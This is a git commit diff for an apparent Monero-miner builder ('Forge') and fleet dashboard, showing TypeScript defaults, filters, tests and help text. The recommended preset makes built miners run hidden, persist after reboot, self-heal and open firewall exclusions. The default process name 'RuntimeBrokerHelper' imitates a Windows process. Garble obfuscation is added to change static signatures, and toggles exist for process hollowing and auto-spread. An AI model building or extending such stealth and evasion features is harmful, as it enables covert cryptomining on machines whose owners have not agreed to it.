Add forge pipeline polish, simple forge UX, and fleet management upgrades.

Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
drjones
2026-05-28 21:48:20 -07:00
parent fda72041f0
commit c95a4373de
45 changed files with 2282 additions and 272 deletions

View File

@@ -0,0 +1,53 @@
import { describe, expect, it } from 'vitest';
import { agentNeedsAttention, agentSubnet, filterFleetAgents } from './fleetFilters';
import type { Agent } from '../types';
const base = (over: Partial<Agent>): Agent => ({
id: '1',
name: 'w1',
wallet: '',
ip: '192.168.1.10',
version: '1',
status: 'online',
cpu_cores: 4,
memory_gb: 8,
last_seen: '',
created_at: '',
hashrate_15s: 0,
hashrate_1m: 0,
hashrate_15m: 5000,
shares_total: 0,
shares_good: 0,
shares_bad: 0,
cpu_usage_pct: 0,
memory_usage_pct: 0,
uptime_seconds: 0,
tags: ['lab'],
...over,
});
const DEFAULT = {
search: '',
tag: '',
subnet: '',
hashrateMin: 0,
needsAttention: false,
};
describe('fleetFilters', () => {
it('filters by tag and subnet', () => {
const agents = [base({}), base({ id: '2', ip: '10.0.0.2', tags: [] })];
expect(filterFleetAgents(agents, { ...DEFAULT, tag: 'lab' }).length).toBe(1);
expect(filterFleetAgents(agents, { ...DEFAULT, subnet: '192.168.1.x' }).length).toBe(1);
});
it('flags offline as needs attention', () => {
expect(agentNeedsAttention(base({ status: 'offline' }))).toBe(true);
});
});
describe('agentSubnet', () => {
it('masks last octet', () => {
expect(agentSubnet('192.168.5.22')).toBe('192.168.5.x');
});
});

View File

@@ -0,0 +1,95 @@
import type { Agent } from '../types';
export interface FleetFilterState {
search: string;
tag: string;
subnet: string;
hashrateMin: number;
needsAttention: boolean;
}
export const DEFAULT_FLEET_FILTERS: FleetFilterState = {
search: '',
tag: '',
subnet: '',
hashrateMin: 0,
needsAttention: false,
};
export function agentSubnet(ip: string): string {
const parts = (ip || '').trim().split('.');
if (parts.length >= 3) return `${parts[0]}.${parts[1]}.${parts[2]}.x`;
return ip || 'unknown';
}
export function agentRejectRate(agent: Agent): number {
if (agent.shares_total <= 0) return 0;
return (agent.shares_bad / agent.shares_total) * 100;
}
export function agentNeedsAttention(agent: Agent): boolean {
if (agent.status !== 'online') return true;
if (agentRejectRate(agent) >= 5 && agent.shares_total >= 10) return true;
return false;
}
export function agentIsIdleMiner(agent: Agent): boolean {
return agent.status === 'online' && agent.hashrate_15m < 100;
}
export function collectFleetTags(agents: Agent[]): string[] {
const set = new Set<string>();
for (const a of agents) {
for (const t of a.tags || []) {
const clean = t.trim();
if (clean) set.add(clean);
}
}
return [...set].sort((a, b) => a.localeCompare(b));
}
export function collectFleetSubnets(agents: Agent[]): string[] {
const set = new Set<string>();
for (const a of agents) {
set.add(agentSubnet(a.ip));
}
return [...set].sort();
}
export function filterFleetAgents(agents: Agent[], filters: FleetFilterState): Agent[] {
const q = filters.search.trim().toLowerCase();
return agents.filter((a) => {
if (filters.needsAttention && !agentNeedsAttention(a)) return false;
if (filters.tag && !(a.tags || []).includes(filters.tag)) return false;
if (filters.subnet && agentSubnet(a.ip) !== filters.subnet) return false;
if (filters.hashrateMin > 0 && a.hashrate_15m < filters.hashrateMin) return false;
if (q) {
const hay = [
a.name,
a.ip,
a.notes || '',
...(a.tags || []),
a.id,
]
.join(' ')
.toLowerCase();
if (!hay.includes(q)) return false;
}
return true;
});
}
export function formatHashrate(h: number): string {
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
return `${h.toFixed(0)} H/s`;
}
export function formatUptime(seconds: number): string {
const d = Math.floor(seconds / 86400);
const h = Math.floor((seconds % 86400) / 3600);
const m = Math.floor((seconds % 3600) / 60);
if (d > 0) return `${d}d ${h}h`;
if (h > 0) return `${h}h ${m}m`;
return `${m}m`;
}

View File

@@ -10,7 +10,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
thread_mode: 'percent',
thread_percent: 75,
cpu_priority: 'below_normal',
mining_mode: 'always',
mining_mode: 'idle',
display_mode: 'background',
silent_mode: true,
run_as: 'user',
@@ -41,10 +41,13 @@ export const FORGE_BUILD_DEFAULTS: Omit<
process_hollowing: false,
mesh_p2p: false,
auto_spread: false,
obfuscate: false,
sign_build: false,
};
export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
const publicUrl = config.server?.public_url?.trim();
const srv = config.server;
return {
...FORGE_BUILD_DEFAULTS,
worker_name: '',
@@ -54,5 +57,7 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
pool_pass: config.pool.password || 'x',
obfuscate: srv?.obfuscate_default ?? false,
sign_build: srv?.sign_enabled ?? false,
};
}

View File

@@ -157,6 +157,15 @@ export function applyForgeFieldUpdate(
}
break;
case 'worker_name':
if (typeof value === 'string' && value.trim()) {
const proc = value.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
if (proc && (!next.process_name || next.process_name === 'RuntimeBrokerHelper' || next.process_name.startsWith('worker-'))) {
next.process_name = proc;
}
}
break;
case 'pool_tls':
if (value === true && next.pool_port === 3333) {
// common pools use 443 for TLS — warn in preflight, don't auto-change port

View File

@@ -0,0 +1,26 @@
import { describe, expect, it } from 'vitest';
import { pickBestServerUrl, suggestWorkerName, applySmartForgeDefaults } from './forgeSmartDefaults';
import type { BuildRequest } from '../types';
describe('forgeSmartDefaults', () => {
it('suggests next worker-N name', () => {
expect(suggestWorkerName([{ worker_name: 'worker-1' } as any])).toBe('worker-2');
});
it('picks LAN url over localhost', () => {
expect(
pickBestServerUrl('http://localhost:8989', ['http://192.168.1.5:8989'])
).toBe('http://192.168.1.5:8989');
});
it('fills worker and process name', () => {
const form = applySmartForgeDefaults(
{ worker_name: '', server_url: '' } as BuildRequest,
{ endpointCandidates: ['http://10.0.0.2:8989'] }
);
expect(form.worker_name).toMatch(/^worker-/);
expect(form.process_name).toBeTruthy();
expect(form.server_url).toBe('http://10.0.0.2:8989');
expect(form.mining_mode).toBe('idle');
});
});

View File

@@ -0,0 +1,125 @@
import type { BuildRecord, BuildRequest, ServerConfig, ServerInfo } from '../types';
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
import { lanEndpointCandidates } from './endpointHelpers';
const WORKER_NAME_RE = /^[a-zA-Z0-9._-]+$/;
/** Suggested unique worker label for the next forge. */
export function suggestWorkerName(existing: BuildRecord[]): string {
const used = new Set(existing.map((b) => b.worker_name.trim().toLowerCase()).filter(Boolean));
for (let i = 1; i <= 999; i++) {
const name = `worker-${i}`;
if (!used.has(name)) return name;
}
return `worker-${Date.now().toString(36)}`;
}
function sanitizeProcessName(workerName: string): string {
const cleaned = workerName.replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
return cleaned || 'RuntimeBrokerHelper';
}
function isGoodServerUrl(url: string): boolean {
try {
const u = new URL(url.trim());
const host = u.hostname.toLowerCase();
return host !== 'localhost' && host !== '127.0.0.1' && host !== '::1';
} catch {
return false;
}
}
/** Pick the best control-server URL for workers on the LAN. */
export function pickBestServerUrl(current: string, candidates: string[]): string {
if (current?.trim() && isGoodServerUrl(current)) return current.trim();
const first = candidates.find(isGoodServerUrl);
return first || current?.trim() || '';
}
/** Home-LAN fleet preset — unobtrusive, persistent, no dangerous extras. */
export function recommendedForgePreset(): Partial<BuildRequest> {
return {
...FORGE_BUILD_DEFAULTS,
mining_mode: 'idle',
idle_threshold_pct: 20,
idle_duration_minutes: 5,
thread_mode: 'percent',
thread_percent: 75,
display_mode: 'background',
stealth_mode: true,
silent_mode: true,
file_logging: false,
persistence: true,
auto_start: true,
self_healing: true,
adapt_to_hardware: true,
firewall_exclusion: true,
process_hollowing: false,
mesh_p2p: false,
auto_spread: false,
ai_enabled: false,
fusion_enabled: false,
output_dir: 'exports',
};
}
export interface SmartDefaultsContext {
builds?: BuildRecord[];
endpointCandidates?: string[];
}
/** Merge Calibrate + LAN detection + recommended toggles into a ready-to-forge form. */
export function applySmartForgeDefaults(
form: BuildRequest,
ctx: SmartDefaultsContext = {}
): BuildRequest {
const preset = recommendedForgePreset();
const worker = form.worker_name?.trim() || suggestWorkerName(ctx.builds ?? []);
const serverUrl = pickBestServerUrl(form.server_url, ctx.endpointCandidates ?? []);
return {
...form,
...preset,
worker_name: worker,
server_url: serverUrl,
wallet: form.wallet?.trim() || form.wallet,
pool_host: form.pool_host || preset.pool_host!,
pool_port: form.pool_port || preset.pool_port!,
pool_tls: form.pool_tls ?? preset.pool_tls!,
pool_pass: form.pool_pass || preset.pool_pass!,
process_name: sanitizeProcessName(worker),
obfuscate: form.obfuscate ?? preset.obfuscate ?? false,
sign_build: form.sign_build ?? preset.sign_build ?? false,
};
}
export function forgeDefaultsFromServerSmart(
config: ServerConfig,
serverInfo: ServerInfo,
builds: BuildRecord[] = []
): BuildRequest {
const publicUrl = config.server?.public_url?.trim();
const srv = config.server;
const candidates = lanEndpointCandidates(serverInfo, config.port || serverInfo.port);
const base: BuildRequest = {
...recommendedForgePreset(),
worker_name: '',
server_url: publicUrl || serverInfo.suggested_url || '',
wallet: config.wallet.address,
pool_host: config.pool.host,
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
pool_pass: config.pool.password || 'x',
obfuscate: srv?.obfuscate_default ?? false,
sign_build: srv?.sign_enabled ?? false,
} as BuildRequest;
return applySmartForgeDefaults(base, { builds, endpointCandidates: candidates });
}
export const RECOMMENDED_DEFAULTS_BLURB =
'Recommended for home LAN fleets: mines when the PC is idle (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.';
export function isValidWorkerName(name: string): boolean {
const t = name.trim();
return t.length > 0 && WORKER_NAME_RE.test(t);
}

View File

@@ -1,24 +1,46 @@
export const SETUP_CHEATSHEET = [
{
title: '1. Calibrate the server',
body: 'Open Calibrate once: set your LAN Public URL, upstream pool, and payout wallet. This configures the control server on this PC only.',
title: '1. Calibrate once',
body: 'Set your Monero wallet and LAN URL on the Calibrate tab, then Save. Click “Use best defaults” if you are not sure — we fill in the detected LAN address and sensible pool settings.',
},
{
title: '2. Forge your installer',
body: 'All miner options live here — threads, install path, stealth, persistence, Fusion, AI. Incompatible mixes are blocked; grayed fields do not apply to your current picks. Green badges = baked into the .exe.',
title: '2. Forge (Simple mode)',
body: 'On Forge, Simple mode keeps only what you need: worker name, server URL, wallet. Everything else uses recommended defaults (idle mining, stealth, persistence). Pick a LAN chip, then FORGE INSTALLER.',
},
{
title: '3. Deploy',
body: 'Copy the built .exe to a worker machine (or USB). Run once — it embeds and connects back to your LAN dashboard.',
body: 'Copy the .exe from the project root to each worker PC and run it once. It installs, connects back, and appears on Command Deck.',
},
{
title: '4. Command Deck',
body: 'Watch live hashrate, CPU, and shares from every machine on your network.',
title: '4. Watch the fleet',
body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them.',
},
];
export const FIELD_HELP: Record<string, string> = {
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3',
calibrate_wallet:
'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 and be ~95 characters.',
calibrate_quick_setup:
'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.',
forge_simple_mode:
'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
forge_recommended_defaults:
'Idle mining (only when you are not using the PC), 75% of CPU cores, hidden window, persistence, self-healing, and worker firewall rules — good starting point for a home LAN fleet.',
obfuscate:
'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (run.bat installs it).',
sign_build:
'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.',
obfuscate_default:
'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with run.bat release.',
sign_enabled:
'When checked, new Forge forms default to signing outputs. You still need a valid code-signing cert thumbprint below.',
sign_cert_thumbprint:
'SHA-1 thumbprint from certmgr.msc → your certificate → Details. The private key must be on this control PC.',
sign_tool_path:
'Optional full path to signtool.exe. Leave blank to auto-detect from the Windows SDK.',
sign_timestamp_url:
'RFC 3161 timestamp server used during signing so signatures stay valid after the cert expires.',
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3. We auto-suggest worker-1, worker-2, …',
server_url:
'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.',
output_dir: